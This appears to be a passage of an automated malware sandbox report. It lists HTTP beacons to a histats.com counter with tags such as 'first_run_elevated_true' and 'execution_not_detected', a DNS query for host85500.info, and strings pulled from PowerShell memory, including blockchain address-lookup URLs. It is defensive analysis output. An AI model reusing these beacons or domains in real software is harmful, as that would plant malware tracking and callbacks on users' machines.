Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_first_run_elevated_true HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_error_5_b HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_error_5 HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_first_run_after_load_failure HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detected HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: s4.histats.comConnection: CloseCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: s4.histats.com
Source: global traffic	DNS traffic detected: DNS query: host85500.info

Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA.crt0
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 00000004.00000002.2042932378.00000000090B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microC
Source: powershell.exe, 00000004.00000002.2010194215.000000000787B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftIG
Source: svchost.exe, 00000003.00000002.2412188793.00000212CE800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl3.digicert.com/EVCodeSigning-g1.crl03
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl4.digicert.com/EVCodeSigning-g1.crl0K
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: powershell.exe, 00000000.00000002.1271308420.0000016B6488D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://e5.i.lencr.org/0
Source: powershell.exe, 00000000.00000002.1271308420.0000016B6488D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://e5.o.lencr.org0
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.3.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://http://www.http://m.http://www.m.https://https://www.https://m.https://www.m.www.wp.plimap.wp
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://ocsp.digicert.com0H
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png(
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png(-c
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.0000000004FE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://www.alcpu.com/forums
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html(
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html(-c
Source: svchost.exe, 0000000C.00000002.1369073024.0000024368613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.m.
Source: powershell.exe, 00000000.00000002.1270292166.0000016B62222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: powershell.exe, 00000000.00000002.1270292166.0000016B62222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: powershell.exe, 00000004.00000002.1907575581.0000000004FE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64161000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blockchain.info/rawaddr/%s
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blockchain.info/rawaddr/%svinprevoutscriptpubkey_addressvoutscriptpubkeyhttps://blockstream.
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blockstream.info/api/address/%s/txs
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 0000000C.00000002.1370018467.0000024368659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1370146191.0000024368681000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367398062.000002436865A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367935633.0000024368665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367080264.000002436865F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000C.00000002.1370146191.0000024368681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000C.00000002.1370146191.0000024368681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367398062.000002436865A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369465929.000002436862B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
